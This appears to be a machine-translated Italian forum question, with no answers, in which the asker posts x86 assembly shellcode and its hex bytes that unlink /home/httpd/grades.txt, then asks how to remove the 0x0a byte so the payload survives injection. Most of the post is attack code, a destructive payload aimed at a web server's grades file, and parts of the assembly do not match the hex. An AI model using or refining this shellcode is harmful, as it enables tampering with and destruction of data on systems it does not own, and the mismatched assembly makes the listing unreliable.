Eliminazione di 0x0a da ShellCode per il file di scollegamento

1

Ho scritto uno shellcode per scollegare un file dal sistema, ma quando ho estratto il codice esadecimale dal file binario, esso è costituito da \ x0a byte, perché il numero di chiamata sys per la funzione di scollegamento è 10, quindi è essenzialmente trattato come un nuovo carattere di linea mentre eseguo il mio codice esadecimale. Pertanto, limitando il resto del codice dall'eccitazione.

La mia shell è (shellcode.S):

#include 

#define STRING  "/home/httpd/grades.txt"
#define STRLEN  22
#define CODE 0x05

.globl main
        .type   main, @function

 main:
        jmp     calladdr

 popladdr:
        popl    %esi
        xorl    %eax,%eax               /* get a 32-bit zero value */
        movb    %al,(STRLEN)(%esi)      /* null-terminate our string */

        addb    %ecx,5
        movb    $ecx,%al                /* syscall arg 1: syscall number */
        movl    %esi,%ebx               /* syscall arg 2: string pathname */
        int     $0x80                   /* invoke syscall */

        xorl    %ebx,%ebx               /* syscall arg 2: 0 */
        movl    %ebx,%eax
        inc     %eax                    /* syscall arg 1: SYS_exit (1), uses */
                                        /* mov+inc to avoid null byte */
        int     $0x80                   /* invoke syscall */

 calladdr:
        call    popladdr
        .ascii  STRING

Il codice esadecimale per il file bin di shellcode è:

char shellcode[] = "\xeb\x13\x5e\x31\xc0\x88\x46\x16\xb0\x0a\x89\xf3"
                   "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xe8\xff"
                   "\xff\xff\x2f\x68\x6f\x6d\x65\x2f\x68\x74\x74\x70"
                   "\x64\x2f\x67\x72\x61\x64\x65\x73\x2e\x74\x78\x74"

Quindi, per favore suggerisci qualche metodo da eliminare, questo con lo stesso funzionamento di shellcode.

Grazie per l'aiuto!

    
posta Shubham Jain 05.02.2017 - 20:10
fonte

0 risposte

Leggi altre domande sui tag